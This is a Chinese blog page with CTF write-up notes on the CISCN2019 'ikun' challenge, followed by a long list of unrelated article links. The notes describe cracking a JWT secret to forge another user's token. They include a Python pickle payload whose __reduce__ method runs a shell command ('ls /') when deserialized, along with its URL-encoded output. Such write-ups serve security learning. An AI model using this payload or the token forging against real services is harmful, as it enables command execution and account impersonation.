当前位置: 首页 > news >正文

JWT解密和python反序列化之[CISCN2019 华北赛区 Day1 Web2]ikun

知识点:

JWT

和cookie一个类型,用于认证身份,将jwt值放在JSON Web Tokens - jwt.io解密,可以得到结果,但是想要伪造其他的用户的话需要密钥,密钥使用c-jwt-cracker 中的 ./jwtcrack 进行破解;

破解得到密钥之后在网址中填入得到伪造的jwt;burp更改就可以了;

python 反序列化:

Pickle是Python内的一个标准模块,实现了基本的数据序列化和反序列化

pickle.dumps 序列化

pickle.laods 反序列化

dumps将obj对象序列化并返回一个bytes对象
loads将bytes反序列化并返回一个对象

 参考[CISCN2019 华北赛区 Day1 Web2]ikun以一道例题从JWT安全到Pickle反序列化_sGanYu的博客-CSDN博客

import pickle
import urllib
import commands
 
class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))  # return无返回值,使用commands.getoutput(cmd) -> string只返回执行的结果, 忽略返回值
 
a = payload()
print(urllib.quote(pickle.dumps(a)))
 
#  ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

相关文章:

  • 《用Go语言自制解释器》之第3章 求值
  • C++ - 8月31日 - 约瑟夫环问题
  • C++ 模板泛型编程
  • Retrofit原理解析(二)
  • 数据结构与算法 -- 子序列问题
  • python中namedtuple函数用法详解
  • C++设计模式---模板方法模式
  • 数据结构和算法——绪论
  • 最小生成树算法的相关变形题
  • Android中常用的几种容器视图的使用
  • 随手记面试录
  • VMware软件下载安装以及在VMware中安装Centos-stream
  • JCL入门教程
  • 5.6如何寻找最长回文子串
  • tkinter-event事件
  • [译] React v16.8: 含有Hooks的版本
  • 【Under-the-hood-ReactJS-Part0】React源码解读
  • 【跃迁之路】【585天】程序员高效学习方法论探索系列(实验阶段342-2018.09.13)...
  • ECMAScript 6 学习之路 ( 四 ) String 字符串扩展
  • es6(二):字符串的扩展
  • Intervention/image 图片处理扩展包的安装和使用
  • js中forEach回调同异步问题
  • PV统计优化设计
  • Python 基础起步 (十) 什么叫函数?
  • spring + angular 实现导出excel
  • vue脚手架vue-cli
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • win10下安装mysql5.7
  • 阿里云前端周刊 - 第 26 期
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 飞驰在Mesos的涡轮引擎上
  • 关于字符编码你应该知道的事情
  • 开源中国专访:Chameleon原理首发,其它跨多端统一框架都是假的?
  • 前端工程化(Gulp、Webpack)-webpack
  • 强力优化Rancher k8s中国区的使用体验
  • 提醒我喝水chrome插件开发指南
  • 听说你叫Java(二)–Servlet请求
  • 我建了一个叫Hello World的项目
  • MyCAT水平分库
  • ​iOS实时查看App运行日志
  • ​Python 3 新特性:类型注解
  • ​如何在iOS手机上查看应用日志
  • ​软考-高级-信息系统项目管理师教程 第四版【第14章-项目沟通管理-思维导图】​
  • #define
  • #stm32整理(一)flash读写
  • #在线报价接单​再坚持一下 明天是真的周六.出现货 实单来谈
  • #中国IT界的第一本漂流日记 传递IT正能量# 【分享得“IT漂友”勋章】
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (3)(3.5) 遥测无线电区域条例
  • (附源码)计算机毕业设计高校学生选课系统
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (实战篇)如何缓存数据
  • (一)WLAN定义和基本架构转
  • (转)c++ std::pair 与 std::make
  • **CI中自动类加载的用法总结